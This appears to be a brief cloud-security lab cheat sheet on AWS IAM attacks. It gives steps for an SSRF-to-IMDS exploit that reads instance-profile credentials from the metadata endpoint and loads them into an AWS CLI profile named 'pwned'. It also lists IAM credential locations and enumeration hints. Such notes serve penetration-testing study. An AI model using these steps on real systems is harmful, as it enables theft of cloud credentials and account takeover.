IAM
SSRF to IMDS Exploit
1) Get STS access key information
aws cloudformation describe-stacks --query "Stacks[?contains(StackName,'iam-initial-access')].Outputs"2) Retrieve Instance Profile credentials (IAM Role):
http://169.254.169.254/latest/meta-data/iam/security-credentials/3) Retrieve the ACTUAL credentials for the role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME4) Use the credentials in your AWS CLI
aws configure set aws_access_key_id ACCESS_KEY_ID --profile pwned
aws configure set aws_secret_access_key SECRET_ACCESS_KEY --profile pwned
aws configure set aws_session_token SESSION_TOKEN --profile pwned5) Verify
IAM Credentials Locations
1) Environment Variables
2) Shared Credentials File
3) AWS Config file
4) Assume Role Provider
5) Boto2 config file
6) Instance Metadata Service (IMDS)
Enumeration
1) Get information about an access key
2) Use quiet-riot tool on Github
Last updated